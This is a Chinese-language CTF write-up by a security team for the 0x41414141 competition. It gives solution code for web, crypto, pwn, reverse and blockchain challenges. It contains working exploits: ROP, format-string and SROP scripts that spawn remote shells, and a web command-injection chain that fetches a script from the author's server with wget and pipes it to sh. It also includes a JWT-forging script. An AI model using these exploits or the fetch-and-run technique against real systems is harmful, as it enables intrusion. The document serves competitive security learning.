0x41414141 CTF-WriteUp

  • A+
所属分类:逆向工程

Web

hackme

类似>abc命令可以创建一个abc的文件夹,通过构造文件夹的名字,最后通过ls拼接成一个多行命令写到文件中再用sh执行。最终构造的exp如下:

>ls
ls>_

>-t
>>g
ls>>_
>24
>90
>8:
>2
>3.
>9
>1.
>21
>9.
>12

>et
>wg
sh _
sh g

>o
>>
>sh
>|
>ml
>ht
>x.
>de
>in

>t
>ca
sh _
sh g

cat o 就可以读取flag

ip地址是自己的vps,在index.html写了cat /flag.txt

0x41414141 CTF-WriteUp

Misc

optimizer

from pwn import *
ip = "207.180.200.166" 
port = 9660

sh =remote(ip,port)
sh.recvuntil(b"hanoin")

context.log_level = "debug"
def getInvCount(arr, n): 
  
    inv_count = 0
    for i in range(n): 
        for j in range(i + 1, n): 
            if (arr[i] > arr[j]): 
                inv_count += 1
  
    return inv_count

while True:
    rev = sh.recvline()
    if b"level" in rev:
        print(rev)
        break
    num = rev.decode().count(',')+1
    ans = str(2**num - 1)
    sh.sendline(ans)

while True:
    rev = sh.recvline()
    if b"level" in rev:
        print(rev)
        break
    if b"flag" in rev:
        print(rev)
        break
    nums = eval(rev.decode().strip().strip(">"))
    ans = str(getInvCount(nums,len(nums)))
    sh.sendline(ans)
sh.interactive()

Crypto

stableAES

from pwn import *
ip = "161.97.176.150"
# ip = "185.172.165.118"
port = 3167

sh = remote(ip,port)
ct = sh.recvline().decode().strip()

sh.close()

blocks = bytes.fromhex(ct)
for i in range(10):
    sh = remote(ip,port)
    cur = sh.recvline().decode().strip()
    now = bytes.fromhex(cur)
    now = xor(now,blocks)
    print(xor(now[:16],b"}x0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0f"))
    sh.close()
# "flag{[email protected]_s3cr3t}"

factorize

0x41414141 CTF-WriteUp

Delegate wallet

from pwn import *
from Crypto.Util.number import *
ip = "185.172.165.118"
port = 4008
context.log_level  = "debug"
sh = remote(ip,port)
s = []
for i in range(10):
    sh.recvuntil(b'>')
    sh.sendline(b'1')
    t = int(sh.recvline().strip().decode())
    s.append(t)

n = 531137992816767098689588206552468627329593117727031923199444138200403559860852242739162502265229285668889329486246501015346579337652707239409519978766587351943831270835393219031728127
a = []
for i in range(9):
    a.append((s[i+1]-s[i])*inverse(s[i]-s[i-1], n)%n)

A = a[1]
c = []
for i in range(9):
    c.append((s[i] - A*s[i-1])%n)
C = c[1]
for i in range(10):
    ans = (A*s[i]+C)%n
print(ans)
sh.interactive()

easyRSA

0x41414141 CTF-WriteUp

Pwn

Moving signals

from pwn import *
context.arch="amd64"
#p=process("./moving-signals")
#gdb.attach(p)
i=0
while(1):
    i=i+1
    for j in range(3):
        try:
            p=remote("161.97.176.150", 2525)
            payload="/bin/shx00"+p64(0x4100A)*i+p64(0x41018)+p64(0)+p64(0x4100A)+p64(0x41018)+p64(0x41018)+'x00x00'#i=30
            p.send(payload)
            sleep(1)
            p.send(asm(shellcraft.sh()))
            sleep(1)
            p.sendline("ls")
            print p.recv()
            p.interactive()
        except Exception:
            print("fail num:%d,index:%d "%(i,j))
            p.close()

external

from pwn import *
#p=process("./external")
p=remote("161.97.176.150", 9999)
context.terminal = ['tmux''splitw''-h']
context.log_level="debug"
context.arch="amd64"
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("./libc-2.28.so")
poprdi=0x4012f3
poprsi_r15=0x4012f1
payload="a"*0x50+p64(0x404900)+p64(poprdi)+p64(1)+p64(poprsi_r15)+p64(0x404060)+p64(0)+p64(0x40127C)+p64(poprdi)+p64(0)+p64(poprsi_r15)+p64(0x404900)+p64(0)+p64(0x401086)+p64(0x40126E)
#gdb.attach(p)
p.sendlineafter('> ',payload)
libc_base=u64(p.recv(6).ljust(8,'x00'))-libc.symbols["_IO_2_1_stdout_"]
print hex(libc_base)
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search("/bin/sh").next()
payload=p64(0)+p64(poprdi)+p64(binsh)+p64(system)
p.send(payload)
p.interactive()

The Pwn Inn

from pwn import *
#p=process("./the_pwn_inn")
p=remote("161.97.176.150",2626)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.terminal = ['tmux''splitw''-h']
context.log_level="debug"
context.arch="amd64"
#gdb.attach(p,"b *0x0401319")
payload="%"+str(0x12C4)+"c%"+str(12)+"$hn"+"%19$p%13$s"
payload=payload.ljust(0x30,"a")+p64(0x404058)+p64(0x404020)
p.sendlineafter("Welcome to the pwn inn! We hope that you enjoy your stay. What's your name? ",payload)
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.symbols["_IO_2_1_stdout_"]
puts_addr=u64(p.recv(6).ljust(8,"x00"))
print hex(puts_addr)
print hex(libc_base)
system=libc_base+libc.symbols['system']
payload="%"+str(system&0xffff)+"c%"+str(12)+"$hn"+"%"+str(((system>>16)&0xffff)-(system&0xffff))+"c%"+str(13)+"$hn"
payload=payload.ljust(0x30,"a")+p64(0x404030)+p64(0x404030+2)
p.sendline(payload)
p.interactive()

Return Of The Rops

#coding:utf-8
import hashlib
from pwn import *
context.log_level = 'debug'
alpha = "abcdefghijklmnopqrstuvwxyz"
pop_rdi_ret = 0x0000000000401263
pop_rsi_r15_ret = 0x0000000000401261
main = 0x04011B7
ret = 0x4011FD
def Pow(enc):
    for i in alpha:
        for j in alpha:
            for k in alpha:
                for l in alpha:
                    x  = i + j + k + l
                    if(hashlib.md5(x).hexdigest()[-6:] == enc):
                        return x
elf = ELF('./ret-of-the-rops')
p = remote('161.97.176.150', 2222)

p.recvuntil(" = ")
enc = p.recv(6)
x = Pow(enc)
p.sendline(x)
payload = 'a'*0x28 + p64(pop_rdi_ret) + p64(0x404018) + p64(elf.plt['puts'])
payload += p64(main)
p.sendlineafter('say', payload)
p.recvuntil('a'*0x28)
libc_base = u64(p.recvuntil('x0a', drop=True)[-6:].ljust(8,'x00')) - 0x0875a0
log.info(hex(libc_base))
system = libc_base + 0x055410
sh = libc_base + 0x1b75aa
payload = 'a'*0x28 + p64(ret) + p64(pop_rdi_ret) + p64(sh) + p64(system)*2
p.sendlineafter('say', payload)
p.interactive()

Faking till you're Making

#coding:utf-8
import hashlib
from pwn import *
context.log_level = 'debug'
alpha = "abcdefghijklmnopqrstuvwxyz"
def Pow(enc):
    for i in alpha:
        for j in alpha:
            for k in alpha:
                for l in alpha:
                    x  = i + j + k + l
                    if(hashlib.sha256(x).hexdigest()[-6:] == enc):
                        return x
p = remote('161.97.176.150', 2929)
p.recvuntil(" = ")
enc = p.recv(6)
x = Pow(enc)
p.sendline(x)
p.recvuntil('0x')
code_base = int('0x'+p.recvuntil('n', drop=True), 16) - 0x1199
ret = code_base + 0x11ab
sh = code_base + 0x1199
payload = p64(0)+p64(0x41)+p64(0)*2
p.send(payload.ljust(0x50,'x00'))
payload = 'a'*0x58+p64(ret)+p64(sh)
p.sendline(payload)
p.interactive()

echo

flag{a2e14ad30c012978fc870c1f529e8156}
from pwn import *
#p=process("./echo")
p=remote("185.172.165.118",9090)
context.arch='amd64'
context.terminal=['tmux','splitw',"-h"]
offset=392
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x0401035
frame.rsi = 0
frame.rdx = 0 
frame.rip = 0x401031
#payload1='a'*0ffset+
payload='a'*392+p64(0x0000401000)+p64(0x0000401031)+str(frame)
#pause()
p.send(payload)
sleep(5)
p.send("a"*15)
p.interactive()

Reverse

x-and-or

主函数调用了code指向的函数,ida交叉引用找到init段处初始化了code,是check_password~check_password+500每一个值异或0x42,使用idapython打补丁,F5,发现是这样

__int64 __fastcall check_password(char *a1, int a2)
{
  int i; // [rsp+18h] [rbp-38h]
  char v4[38]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+48h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  *(_QWORD *)v4 = 0x3136483B7C696D66LL;
  *(_QWORD *)&v4[8] = 0x786C31631977283ELL;
  *(_QWORD *)&v4[16] = 0x4E267D3D63334E24LL;
  *(_QWORD *)&v4[24] = 0x31311C232B303937LL;
  strcpy(&v4[32], "j)tx1Bb|");
  if ( a2 != 38 )
    return 0xFFFFFFFFLL;
  for ( i = 0; i < 38; ++i )
  {
    if ( ((i % 6 * i % 6 * (i % 6)) ^ v4[i]) != a1[i] )
      return 0xFFFFFFFFLL;
  }
  return 0LL;
}

实践后发现%6并不可以,直接按位调试了

hash

进入main_main,发现F5似乎有问题,于是查看反汇编。原来有几处代码被程序隐藏了

比如08061F90处的代码,这里是让条件必不通过main_one,于是更改条件,让程序必通过main_one,依次更改main_onemain_two的几处条件,直到打印出key1和key2

ware

main_main函数中看到main_EncryptFinal函数,进去之后看到 使用thisis32bitlongpassphraseimusing作为key加密了321174068998067 98980909 字符串,运行程序输出就是前半段的加密后的东西。

encryptedmessage.txt内容用相同key解密出来时The eye of engle 然后提交了上面的数字,就对了

WrongDownload

在两个附件的主函数中都找到了字符串,然后拼接,不用0x之类的字符串 实际上是在unknown中发现了一个判断

//...
LODWORD(x) = "0xm1n";
  DWORD1(x) = 5;
  runtime_eqstring();
  if ( BYTE8(x) )
  {
    v20 = y[0];
    v21[0] = (int)y[1].str;
    v21[1] = y[1].len;
    v13[0] = 0;
    v13[1] = 0;
    if ( &t == (string *)-60 )
      v13[0] = v0;
    a.len = 1;
    a.cap = 1;
    a.array = (interface_{}_0 *)v13;
    runtime_convT2E((runtime__type_0 *)&::t, &v20, 0, *(runtime_eface_0 *)((char *)&x + 4));
    v1 = DWORD2(x);
    v2 = a.array;
    v14 = DWORD1(x);
//...

这后面有个fmt_println,否则就下载那个文件。

于是使用gdb更改执行流程,执行这个分支,得到了输出[SYE7ykV Q7NzrRy],就是上面的字符串。由此推断unknown的flag

cage

进入main_one,通过go_strcmp隐藏了真正的逻辑。patch程序,让上面加载的是cageone即可过

下面是检测5个float数,直接gdb调试然后打印对应的正确的数,再运行程序输入,即可得到flag

5个数分别为12167973363285097786881520875

backupkeys

主函数有字符串比较,要比较不同的才能执行真正的逻辑。

可以把下面的jz改为jnz,就可以了,然后程序有提示的

cliBrowser

命令行浏览器,使用IDA打开发现了httpRequest,于是使用wireshark抓包

发现访问的ip地址是161.97.176.150:6666,登陆之后会返回一个token

使用浏览器的各个功能都对应着某个url,使用root/123456登陆,尝试获取flag,没有权限

尝试使用admin登陆,发现密码不正确,看来只有admin可以获取flag

再次查看wireshark,发现获取flag时发送了登陆时获取的token,token是jwt使用HS256加密算法签名的,HS256使用对称加密算法,所以直接在程序中查找key。

再次使用IDA发现有个secret命令,输入获取到签名所需key0x41414141 is 1337 然后burpsuite抓包,更改token中的id为admin,签名,再发送即可获取flag 签名代码

# encoding:utf-8

import base64

import jwt

headers = {
  "alg""HS256",
  "typ""JWT"
}
salt = '0x41414141 is 1337'
payload = {"exp":1611558603,"id":"admin","orig_iat":1611555003} # 这里exp和orig_iat需要改为你抓包抓到的
token = jwt.encode(payload=payload, key=salt, algorithm='HS256', headers=headers)
print(token)

Blockchain

sanity check

给的sol是个空壳合约

rinkby etherscan反编译合约bytecode

看到合约源码 出flag

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



0x41414141 CTF-WriteUp

本文始发于微信公众号(ChaMd5安全团队):0x41414141 CTF-WriteUp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: